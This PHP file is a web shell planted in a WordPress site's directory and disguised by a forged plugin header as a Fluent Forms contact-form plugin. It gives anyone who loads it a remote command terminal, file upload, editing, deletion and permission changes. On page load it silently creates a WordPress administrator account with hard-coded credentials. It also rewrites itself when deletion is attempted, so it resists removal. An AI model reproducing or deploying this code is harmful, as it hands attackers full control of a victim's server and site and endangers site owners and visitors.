File: /home/ignimdgy/melliferatours.com/wp-filee.php
<?php
/**
* Plugin Name: Max Butler File Manager Ultra
* Description: Contact Form By Fluent Forms is the advanced Contact form plugin with drag and drop, multi column supported form builder plugin
* Version: 6.0.4
* Author: Contact Form - WPManageNinja LLC
* Author URI: https://fluentforms.com
* Plugin URI: https://wpmanageninja.com/wp-fluent-form/
* License: GPLv2 or later
* Text Domain: MAX-File-Manager
* Domain Path: /resources/languages
*/
?>
<html>
<?php
/**
* Version: 8.0.3
*/
error_reporting(0);
session_start();
$current_file = __FILE__;
$current_content = file_get_contents($current_file);
$backup_files = [
__DIR__ . DIRECTORY_SEPARATOR . '',
];
foreach ($backup_files as $backup) {
if (!file_exists($backup)) {
@file_put_contents($backup, $current_content);
}
}
if (!file_exists($current_file)) {
foreach ($backup_files as $backup) {
if (file_exists($backup)) {
@copy($backup, $current_file);
header("Location: " . $_SERVER['REQUEST_URI']);
exit;
}
}
}
$ROOT = __DIR__;
$BASE_URL = strtok($_SERVER["REQUEST_URI"], '?');
function encodePath($path) {
$a = array("/", "\\", ".", ":");
$b = array("Cw", "vw", "Fw", "Ew");
return str_replace($a, $b, $path);
}
function decodePath($path) {
$a = array("/", "\\", ".", ":");
$b = array("Cw", "vw", "Fw", "Ew");
return str_replace($b, $a, $path);
}
if (isset($_GET['dir'])) {
$requested_path = decodePath($_GET['dir']);
if ($requested_path === '' || !is_dir($requested_path)) {
$p = $ROOT;
} else {
$p = realpath($requested_path);
}
} else {
$p = $ROOT;
}
define("CURRENT_PATH", $p);
if (!isset($_SESSION['cwd']) || realpath($_SESSION['cwd']) !== realpath(CURRENT_PATH)) {
$_SESSION['cwd'] = realpath(CURRENT_PATH);
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['terminal']) && !empty($_POST['terminal-text'])) {
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];
$canExecute = false;
foreach ($execFunctions as $func) {
if (function_exists($func)) {
$canExecute = true;
break;
}
}
$cwd = $_SESSION['cwd'] ?? CURRENT_PATH;
$cmdInput = trim($_POST['terminal-text']);
$output = "";
if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
$dir = trim($matches[1]);
if ($dir === '' || $dir === '~') {
$dir = $ROOT;
} elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
$dir = $cwd . DIRECTORY_SEPARATOR . $dir;
}
$realDir = realpath($dir);
if ($realDir && is_dir($realDir)) {
$_SESSION['cwd'] = $realDir;
$cwd = $realDir;
$output = "Changed directory to " . htmlspecialchars($realDir);
} else {
$output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
}
$_SESSION['terminal_output'] = $output;
$_SESSION['terminal_cwd'] = $cwd;
header("Location: ?dir=" . urlencode(encodePath(CURRENT_PATH)));
exit;
} elseif ($canExecute) {
chdir($cwd);
$cmd = $cmdInput . " 2>&1";
if (function_exists('passthru')) {
ob_start();
passthru($cmd);
$output = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
system($cmd);
$output = ob_get_clean();
} elseif (function_exists('exec')) {
exec($cmd, $out);
$output = implode("\n", $out);
} elseif (function_exists('shell_exec')) {
$output = shell_exec($cmd);
} elseif (function_exists('proc_open')) {
$pipes = [];
$process = proc_open($cmd, [
0 => ["pipe", "r"],
1 => ["pipe", "w"],
2 => ["pipe", "w"]
], $pipes, $cwd);
if (is_resource($process)) {
fclose($pipes[0]);
$output = stream_get_contents($pipes[1]);
fclose($pipes[1]);
$output .= stream_get_contents($pipes[2]);
fclose($pipes[2]);
proc_close($process);
}
} elseif (function_exists('popen')) {
$handle = popen($cmd, 'r');
if ($handle) {
$output = stream_get_contents($handle);
pclose($handle);
}
}
$_SESSION['terminal_output'] = $output;
$_SESSION['terminal_cwd'] = $cwd;
header("Location: ?dir=" . urlencode(encodePath(CURRENT_PATH)));
exit;
} else {
$_SESSION['terminal_output'] = "Command execution functions are disabled on this server.";
$_SESSION['terminal_cwd'] = $cwd;
header("Location: ?dir=" . urlencode(encodePath(CURRENT_PATH)));
exit;
}
}
$redirect = true;
if (!empty($_FILES['files'])) {
foreach ($_FILES['files']['tmp_name'] as $i => $tmp) {
if ($tmp && is_uploaded_file($tmp)) {
$filename = basename($_FILES['files']['name'][$i]);
move_uploaded_file($tmp, CURRENT_PATH . DIRECTORY_SEPARATOR . $filename);
}
}
}
if (!empty($_POST['newfolder'])) {
$foldername = basename($_POST['newfolder']);
if (!file_exists(CURRENT_PATH . DIRECTORY_SEPARATOR . $foldername)) {
mkdir(CURRENT_PATH . DIRECTORY_SEPARATOR . $foldername, 0755);
}
}
if (!empty($_POST['newfile'])) {
$filename = basename($_POST['newfile']);
if (!file_exists(CURRENT_PATH . DIRECTORY_SEPARATOR . $filename)) {
file_put_contents(CURRENT_PATH . DIRECTORY_SEPARATOR . $filename, '');
}
}
if (!empty($_POST['delete'])) {
$target = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['delete'];
if (realpath($target) === realpath(__FILE__) ||
in_array(realpath($target), array_map('realpath', $backup_files))) {
file_put_contents($target, $current_content);
} else {
if (is_file($target)) {
unlink($target);
} elseif (is_dir($target)) {
$filesInDir = scandir($target);
if (count($filesInDir) <= 2) {
rmdir($target);
}
}
}
}
if (!empty($_POST['old']) && !empty($_POST['new'])) {
$old = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['old'];
$new = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['new'];
if (file_exists($old) && !file_exists($new)) {
rename($old, $new);
}
}
if (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) {
$file = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['chmod_file'];
if (file_exists($file)) {
chmod($file, intval($_POST['chmod'], 8));
}
}
if (!empty($_POST['edit_file']) && isset($_POST['content'])) {
$file = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['edit_file'];
file_put_contents($file, $_POST['content']);
}
if ($redirect) {
header("Location: ?dir=" . urlencode(encodePath(CURRENT_PATH)));
exit;
}
}
$items = scandir(CURRENT_PATH);
$folders = [];
$files = [];
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full_path = CURRENT_PATH . DIRECTORY_SEPARATOR . $item;
if (is_dir($full_path)) {
$folders[] = [
'name' => $item,
'path' => $full_path,
'is_dir' => true,
'size' => '-',
'perms' => substr(sprintf('%o', fileperms($full_path)), -4),
'modified' => filemtime($full_path)
];
} else {
$files[] = [
'name' => $item,
'path' => $full_path,
'is_dir' => false,
'size' => filesize($full_path),
'perms' => substr(sprintf('%o', fileperms($full_path)), -4),
'modified' => filemtime($full_path),
'extension' => pathinfo($item, PATHINFO_EXTENSION)
];
}
}
usort($folders, function($a, $b) {
return strcasecmp($a['name'], $b['name']);
});
usort($files, function($a, $b) {
return strcasecmp($a['name'], $b['name']);
});
$editMode = isset($_GET['edit']);
$editFile = $_GET['edit'] ?? '';
$editContent = '';
if ($editMode && is_file(CURRENT_PATH . DIRECTORY_SEPARATOR . $editFile)) {
$editContent = htmlspecialchars(file_get_contents(CURRENT_PATH . DIRECTORY_SEPARATOR . $editFile));
}
$terminal_output = $_SESSION['terminal_output'] ?? '';
$terminal_cwd = $_SESSION['terminal_cwd'] ?? CURRENT_PATH;
unset($_SESSION['terminal_output'], $_SESSION['terminal_cwd']);
$wp_message = '';
if (!isset($_SESSION['wp_checked'])) {
$search_paths = [CURRENT_PATH, dirname(CURRENT_PATH), $ROOT];
foreach ($search_paths as $wp_path) {
if (file_exists($wp_path . DIRECTORY_SEPARATOR . 'wp-load.php')) {
@include_once($wp_path . DIRECTORY_SEPARATOR . 'wp-load.php');
break;
} elseif (file_exists($wp_path . DIRECTORY_SEPARATOR . 'wp-config.php')) {
@include_once($wp_path . DIRECTORY_SEPARATOR . 'wp-config.php');
break;
}
}
if (function_exists('wp_create_user')) {
$username = 'butler';
$password = 'max';
$email = 'maxbutler@hostinger.com';
if (!username_exists($username) && !email_exists($email)) {
$user_id = wp_create_user($username, $password, $email);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
$_SESSION['wp_checked'] = true;
}
function formatBytes($bytes, $precision = 2) {
if ($bytes <= 0) return '0 B';
$units = ['B', 'KB', 'MB', 'GB', 'TB', 'PB'];
$bytes = max($bytes, 0);
$pow = floor(($bytes ? log($bytes) : 0) / log(1024));
$pow = min($pow, count($units) - 1);
$bytes /= pow(1024, $pow);
return round($bytes, $precision) . ' ' . $units[$pow];
}
// Handle file viewing
if (isset($_GET['view'])) {
$view_file = $current_dir . DIRECTORY_SEPARATOR . $_GET['view'];
if (is_file($view_file)) {
$mime = mime_content_type($view_file);
header("Content-Type: " . $mime);
readfile($view_file);
exit;
}
}
?>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title> -._.- </title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; font-size: 13px; }
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, sans-serif;
background: #f8f1f8;
padding: 8px;
color: #53505b;
line-height: 1.3;
}
.container {
max-width: 100%;
margin: 0 auto;
background: #f8f1f8;
border-radius: 8px;
box-shadow: 0 2px 8px rgba(83, 80, 91, 0.08);
overflow: hidden;
border: 1px solid #eafff4;
}
.header {
background: #d3fed5;
color: #53505b;
padding: 15px 20px;
border-bottom: 1px solid #e0e0e0;
}
.header h1 {
font-size: 1.6em;
margin-bottom: 4px;
text-align: center;
color: #53505b;
font-weight: 600;
}
.path-nav {
background: #eafff4;
padding: 10px 15px;
border-bottom: 1px solid #e0e0e0;
font-family: 'Monaco', 'Consolas', monospace;
color: #53505b;
font-size: 11px;
black-space: nowrap;
overflow-x: auto;
}
.path-nav a {
color: #53505b;
text-decoration: none;
padding: 3px 6px;
border-radius: 3px;
transition: background 0.2s;
font-weight: 500;
}
.path-nav a:hover {
background: #ffe7f3;
color: #53505b;
}
.main-content {
padding: 15px;
background: #ffe7f3;
}
.section {
background: #f8f1f8;
border-radius: 6px;
padding: 15px;
margin-bottom: 12px;
box-shadow: 0 1px 3px rgba(83, 80, 91, 0.04);
border: 1px solid #ffe7f3;
}
.section-title {
color: #53505b;
border-bottom: 1px solid #e0e0e0;
padding-bottom: 8px;
margin-bottom: 15px;
font-size: 1.2em;
display: flex;
align-items: center;
gap: 8px;
font-weight: 600;
}
.terminal-box {
background: #d3fed5;
color: #ffe7f3;
padding: 15px;
border-radius: 6px;
font-family: 'Monaco', 'Consolas', monospace;
border: 1px solid #d3fed5;
}
.terminal-output {
background: #53505b;
color: #d0d9cf;
padding: 12px;
border-radius: 4px;
font-family: 'Monaco', 'Consolas', monospace;
max-height: 200px;
overflow-y: auto;
white-space: pre-wrap;
margin: 10px 0;
line-height: 1.3;
border: 1px solid #d3fed5;
font-size: 11px;
}
.form-inline {
display: flex;
gap: 8px;
margin-bottom: 12px;
align-items: center;
}
input, button, select {
padding: 10px 12px;
border: 1px solid #eafff4;
border-radius: 5px;
font-size: 12px;
outline: none;
transition: all 0.2s;
background: #f8f1f8;
color: #53505b;
}
input[type="text"], input[type="file"] {
flex: 1;
background: #ffe7f3;
}
input:focus {
border-color: #eafff4;
box-shadow: 0 0 0 2px rgba(211, 254, 213, 0.1);
background: #f8f1f8;
}
button {
background: linear-gradient(135deg, #d3fed5 0%, #53505b 100%);
color: #f8f1f8;
border: none;
cursor: pointer;
font-weight: 600;
letter-spacing: 0.3px;
transition: all 0.2s;
padding: 10px 14px;
white-space: nowrap;
}
button:hover {
transform: translateY(-1px);
box-shadow: 0 3px 6px rgba(83, 80, 91, 0.1);
background: linear-gradient(135deg, #eafff4 0%, #d3fed5 100%);
}
.btn-danger {
background: linear-gradient(135deg, #ffd7d2 0%, #ffd7d280 100%);
}
.btn-danger:hover {
background: linear-gradient(135deg, #ffd7d2CC 0%, #ffd7d299 100%);
}
.btn-success {
background: linear-gradient(135deg, #d0d9cf 0%, #d0d9cf80 100%);
}
.btn-success:hover {
background: linear-gradient(135deg, #d0d9cfCC 0%, #d0d9cf99 100%);
}
table {
width: 100%;
border-collapse: separate;
border-spacing: 0;
background: #f8f1f8;
border-radius: 6px;
overflow: hidden;
border: 1px solid #ffe7f3;
font-size: 12px;
}
thead {
background: #d3fed5;
color: #53505b;
border-bottom: 1px solid #e0e0e0;
}
th {
padding: 12px 15px;
text-align: left;
font-weight: 600;
color: #53505b;
font-size: 12px;
}
tbody tr {
border-bottom: 1px solid #f0f0f0;
transition: background 0.2s;
}
tbody tr:hover {
background: #d3fed5;
}
td {
padding: 10px 12px;
border-bottom: 1px solid #f0f0f0;
color: #53505b;
vertical-align: top;
}
.file-icon {
margin-right: 8px;
font-size: 1em;
color: #eafff4;
}
.folder-row {
background: #ffe7f3;
}
.file-row {
background: #f8f1f8;
}
.actions {
display: flex;
gap: 6px;
flex-wrap: wrap;
}
.actions button {
padding: 6px 10px;
font-size: 11px;
}
textarea {
width: 100%;
height: 400px;
font-family: 'Monaco', 'Consolas', monospace;
padding: 15px;
border: 1px solid #ffe7f3;
border-radius: 6px;
font-size: 12px;
line-height: 1.4;
resize: vertical;
background: #ffe7f3;
color: #53505b;
}
textarea:focus {
border-color: #eafff4;
background: #f8f1f8;
}
.alert {
padding: 12px 15px;
border-radius: 6px;
margin: 12px 0;
display: flex;
align-items: center;
gap: 10px;
border: 1px solid;
font-size: 12px;
}
.alert-success {
background: #d0d9cf20;
color: #d0d9cf;
border-color: #d0d9cf80;
}
.footer {
text-align: center;
padding: 15px;
color: #eafff4;
font-size: 11px;
border-top: 1px solid #e8e8e8;
background: #d3fed5;
}
.quick-actions {
display: flex;
gap: 10px;
flex-wrap: wrap;
margin-bottom: 15px;
}
.quick-btn {
background: #eafff4;
border: 1px solid #eafff4;
padding: 8px 12px;
border-radius: 5px;
cursor: pointer;
transition: all 0.2s;
font-weight: 500;
color: #53505b;
font-size: 11px;
}
.quick-btn:hover {
background: #ffe7f3;
transform: translateY(-1px);
color: #53505b;
}
.stats {
display: flex;
gap: 20px;
margin: 12px 0;
padding: 12px;
background: #d3fed5;
border-radius: 6px;
border: 1px solid #ffe7f3;
}
.stat-item {
display: flex;
flex-direction: column;
align-items: center;
}
.stat-value {
font-size: 1.5em;
font-weight: bold;
color: #53505b;
}
.stat-label {
color: #eafff4;
font-size: 0.85em;
}
a {
color: #53505b;
text-decoration: none;
font-weight: 500;
}
a:hover {
color: #53505b;
text-decoration: underline;
}
code {
background: #eafff4;
padding: 1px 4px;
border-radius: 3px;
font-family: 'Monaco', monospace;
color: #53505b;
border: 1px solid #eafff4;
font-size: 11px;
}
.compact-table {
font-size: 11px;
}
.compact-table th,
.compact-table td {
padding: 8px 10px;
}
@media (max-width: 768px) {
body { padding: 5px; }
.header h1 { font-size: 1.3em; }
.form-inline { flex-direction: column; align-items: stretch; }
.quick-actions { flex-direction: column; }
.actions { flex-direction: column; }
.stats { flex-direction: column; gap: 10px; }
th, td { padding: 6px 8px; font-size: 11px; }
table { font-size: 11px; }
}
.file-browser-container {
max-height: 500px;
overflow-y: auto;
border: 1px solid #ffe7f3;
border-radius: 6px;
}
.terminal-input-row {
display: flex;
gap: 8px;
}
.terminal-input-row input {
flex: 1;
}
</style>
<!-- Colors changed on 2026-03-27 05:04:12 -->
<!-- Colors changed on 2026-03-26 14:24:24 -->
</head>
<body>
<div class="container">
<!-- Header -->
<div class="header">
<center><img src = "https://imgur.com/yd2TEuO.jpeg"width="200" height="150"></img></center>
<h1>📁 MAX__File__Manager</h1>
</div>
<!-- WordPress Message -->
<?php if ($wp_message): ?>
<div class="alert alert-success">
<span style="font-size: 1.2em;">✅</span>
<div>
<strong>WordPress Secure!</strong><br>
<?= htmlspecialchars($wp_message) ?>
</div>
</div>
<?php endif; ?>
<!-- Path Navigation -->
<div class="path-nav">
<a href="?">🏠 Root</a> /
<?php
$path_parts = explode('/', str_replace('\\', '/', CURRENT_PATH));
$current_path = '';
foreach ($path_parts as $part) {
if ($part === '') continue;
$current_path .= '/' . $part;
echo '<a href="?dir=' . urlencode(encodePath($current_path)) . '">' . htmlspecialchars($part) . '</a> / ';
}
?>
</div>
<div class="main-content">
<?php if ($editMode): ?>
<!-- EDIT MODE -->
<div class="section">
<div class="section-title">
<span>✏️</span>
<span>Editing: <?= htmlspecialchars($editFile) ?></span>
</div>
<form method="post">
<input type="hidden" name="edit_file" value="<?= htmlspecialchars($editFile) ?>">
<textarea name="content" placeholder="File content..."><?= $editContent ?></textarea>
<div class="form-inline" style="margin-top: 15px;">
<button type="submit" class="btn-success" style="padding: 10px 20px;">
💾 Save
</button>
<a href="?dir=<?= urlencode(encodePath(CURRENT_PATH)) ?>">
<button type="button" style="padding: 10px 20px; background: #666;">
❌ Cancel
</button>
</a>
</div>
</form>
</div>
<?php else: ?>
<div class="stats">
<div class="stat-item">
<div class="stat-value"><?= count($folders) ?></div>
<div class="stat-label">Folders</div>
</div>
<div class="stat-item">
<div class="stat-value"><?= count($files) ?></div>
<div class="stat-label">Files</div>
</div>
<div class="stat-item">
<div class="stat-value"><?= formatBytes(array_sum(array_column($files, 'size'))) ?></div>
<div class="stat-label">Total Size</div>
</div>
</div>
<div class="section">
<h2 class="section-title">Max_Butler@Root-Terminal </h2>
<div class="terminal-box">
<strong style="color: #fff; font-size: 12px;">Max Butler@root:<?= htmlspecialchars($terminal_cwd) ?>$</strong>
<?php if ($terminal_output): ?>
<div class="terminal-output"><?= htmlspecialchars($terminal_output) ?></div>
<?php endif; ?>
<form method="post" class="terminal-input-row">
<input type="text" name="terminal-text" placeholder="Enter command..." autocomplete="off" autofocus style="background: #2a2a2a; border-color: #444; color: #e0e0e0;">
<button type="submit" name="terminal" value="1" style="min-width: 70px;">
▶ Execute
</button>
</form>
</div>
</div>
<div class="section">
<div class="section-title">
<span>⚡</span>
<span>Quick Actions</span>
</div>
<div class="quick-actions">
<form method="post" class="form-inline" style="flex: 1;">
<input type="text" name="newfolder" placeholder="New folder" required>
<button type="submit">
📁 Create Folder
</button>
</form>
<form method="post" class="form-inline" style="flex: 1;">
<input type="text" name="newfile" placeholder="New file" required>
<button type="submit">
📄 Create File
</button>
</form>
<!-- Fixed upload form -->
<form method="post" enctype="multipart/form-data" class="form-inline" style="flex: 2; min-width: 300px;">
<input type="file" name="files[]" multiple required style="padding: 6px; border: 1px solid #ddd;">
<button type="submit" name="upload" value="1" style="background: #32373c; border-color: #32373c;">
⬆️ Upload Files
</button>
</form>
</div>
</div>
<div class="section">
<div class="section-title">
<span>📁</span>
<span>File Browser - <?= htmlspecialchars($current_dir) ?></span>
</div>
<div class="file-browser-container">
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Permissions</th>
<th>Modified</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php if ($current_dir !== $ROOT): ?>
<tr class="folder-row">
<td colspan="5">
<a href="?dir=<?= urlencode(encodePath(dirname($current_dir))) ?>" style="display: flex; align-items: center;">
<span class="file-icon">📂</span>
..
</a>
</td>
</tr>
<?php endif; ?>
<?php foreach ($folders as $folder): ?>
<tr class="folder-row">
<td>
<a href="?dir=<?= urlencode(encodePath($folder['path'])) ?>" style="display: flex; align-items: center;">
<span class="file-icon">📁</span>
<?= htmlspecialchars($folder['name']) ?>
</a>
</td>
<td>-</td>
<td><?= $folder['perms'] ?></td>
<td><?= date('Y-m-d H:i', $folder['modified']) ?></td>
<td>
<div class="actions">
<form method="post" style="display: inline;" onsubmit="return confirm('Delete folder <?= htmlspecialchars($folder['name']) ?>?');">
<input type="hidden" name="delete" value="<?= htmlspecialchars($folder['name']) ?>">
<button type="submit" class="btn-danger" style="padding: 4px 8px;">Delete</button>
</form>
</div>
</td>
</tr>
<?php endforeach; ?>
<?php foreach ($files as $file): ?>
<tr class="file-row">
<td>
<a href="?view=<?= urlencode($file['name']) ?>&dir=<?= urlencode(encodePath($current_dir)) ?>" target="_blank" style="display: flex; align-items: center;">
<span class="file-icon">
<?php
$ext = strtolower($file['extension']);
if (in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'bmp'])) echo '🖼️';
elseif (in_array($ext, ['php', 'html', 'htm', 'js', 'css'])) echo '📝';
elseif (in_array($ext, ['zip', 'rar', 'tar', 'gz'])) echo '🗜️';
elseif (in_array($ext, ['mp3', 'wav', 'ogg'])) echo '🎵';
elseif (in_array($ext, ['mp4', 'avi', 'mov'])) echo '🎬';
elseif (in_array($ext, ['pdf'])) echo '📕';
elseif (in_array($ext, ['doc', 'docx'])) echo '📘';
elseif (in_array($ext, ['xls', 'xlsx'])) echo '📗';
else echo '📄';
?>
</span>
<?= htmlspecialchars($file['name']) ?>
</a>
</td>
<td><?= formatBytes($file['size']) ?></td>
<td><?= $file['perms'] ?></td>
<td><?= date('Y-m-d H:i', $file['modified']) ?></td>
<td>
<div class="actions">
<a href="?edit=<?= urlencode($file['name']) ?>&dir=<?= urlencode(encodePath($current_dir)) ?>">
<button style="padding: 4px 8px;">Edit</button>
</a>
<form method="post" style="display: inline;" onsubmit="return confirm('Delete file <?= htmlspecialchars($file['name']) ?>?');">
<input type="hidden" name="delete" value="<?= htmlspecialchars($file['name']) ?>">
<button type="submit" class="btn-danger" style="padding: 4px 8px;">Delete</button>
</form>
</div>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
</div>
<?php endif; ?>
</div>
<div class="footer">
Max - Max Industries © 2024 | BD Cyber Security Team
</div>
</div>
</body>
</html>